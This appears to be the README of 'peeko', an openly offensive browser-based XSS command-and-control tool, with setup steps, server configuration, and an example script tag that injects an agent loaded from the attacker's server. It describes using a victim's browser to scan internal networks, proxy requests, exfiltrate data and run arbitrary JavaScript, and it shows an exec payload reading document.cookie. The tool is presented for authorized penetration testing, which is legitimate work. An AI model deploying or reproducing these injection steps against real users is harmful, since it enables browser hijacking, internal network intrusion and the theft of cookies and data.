
peeko – Browser-based XSS C2 for stealthy internal network exploration via infected browser.
Version: v1.1
peeko is a browser-based XSS-powered C2 (Command and Control) tool that leverages the victim’s browser as a stealthy proxy inside internal networks.
Through an injected XSS payload, peeko establishes a WebSocket connection to a central server, allowing an attacker to remotely control the victim’s browser to send requests to internal services, scan networks, exfiltrate data, or even execute arbitrary JavaScript — all without dropping a single binary.
.txt or .jsonClone the repository:
git clone https://github.com/b3rito/peeko.git
cd peeko
Install dependencies:
make install
(Optional) Make scripts executable:
chmod +x gen-cert.sh start.sh
Generate self-signed TLS certificate:
make cert
Replace the SERVER-IP placeholder:
Open and edit the following files:
static/agent.jsstatic/control.htmlReplace SERVER-IP with the IP/domain of your server:
wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
Start the server:
make run
Open the control panel in your browser:
https://192.168.30.136:8443/static/control.html
Inject the agent (example XSS):
<script src="https://192.168.30.136:8443/static/agent.js"></script>
192.168.1.0/24, 10.0.0.10-20, etc.80, 443,8000-8080)exec:... format to sendexec:alert(document.cookie);.txt or .jsonModern browser policies affect what peeko can access.
| Header | Can read content? | Notes |
|---|---|---|
Access-Control-Allow-Origin: * | ✅ | Full access to response |
| No header | ⚠️ | Response is opaque |
| Restricted origin | ❌ | Blocked or unreadable |
Victim connects via HTTPS. If a scanned target only uses HTTP:
http:// endpointsDuring a penetration test, if you find an internal service that responds with Access-Control-Allow-Origin: * and is served over HTTPS, then peeko becomes a stealth proxy capable of exfiltrating internal data directly from the victim's browser without dropping any files or opening outbound connections.
peeko/
├── main.py → FastAPI WebSocket server
├── start.sh → Launch server
├── gen-cert.sh → Generate self-signed TLS certificate
├── Makefile → Install/run helpers
├── requirements.txt → Python dependencies
├── certs/ → TLS key and cert will be stored here
└── static/ → Browser client assets
├── control.html → Control panel (was attacker.html)
├── infect.html → Victim landing page
└── agent.js → Victim agent script
This tool is provided for educational and authorized testing purposes only.
Any use of peeko outside of environments where you have explicit permission is strictly prohibited.
You are responsible for your own actions.
Written by b3rito at mes3hacklab & GioPpeTto